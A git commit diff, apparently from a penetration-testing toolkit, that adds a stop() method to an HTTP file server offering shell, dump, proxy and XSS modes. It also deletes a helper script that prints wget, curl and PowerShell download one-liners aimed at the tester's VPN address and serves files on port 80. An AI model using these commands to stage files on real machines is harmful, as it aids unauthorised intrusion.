fileserver.stop()

This commit is contained in:
Roman Hergenreder 2021-06-05 14:24:35 +02:00
parent 15a5a6bd4a
commit 29d5f63c58
2 changed files with 9 additions and 9 deletions

@ -115,6 +115,7 @@ class HttpFileServer(HTTPServer):
self.routes = { }
self.dumpRequests = []
self.prefix_routes = { }
self.is_running = True
def cleanPath(self, path):
@ -176,6 +177,14 @@ class HttpFileServer(HTTPServer):
def start(self):
return self.serve_forever()
def stop(self):
self.is_running = False
def serve_forever(self):
while self.is_running:
self.handle_request()
if __name__ == "__main__":
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])

@ -1,9 +0,0 @@
#!/usr/bin/bash
ipAddress=$(ip a show dev tun0 | grep inet | awk '{print $2'} | cut -d'/' -f1 | head -n 1)
echo "wget http://${ipAddress}/"
echo "curl http://${ipAddress}/"
echo "(New-Object System.Net.WebClient).DownloadFile('http://${ipAddress}/', 'C:\\Temp\\')"
echo ""
sudo python -m http.server 80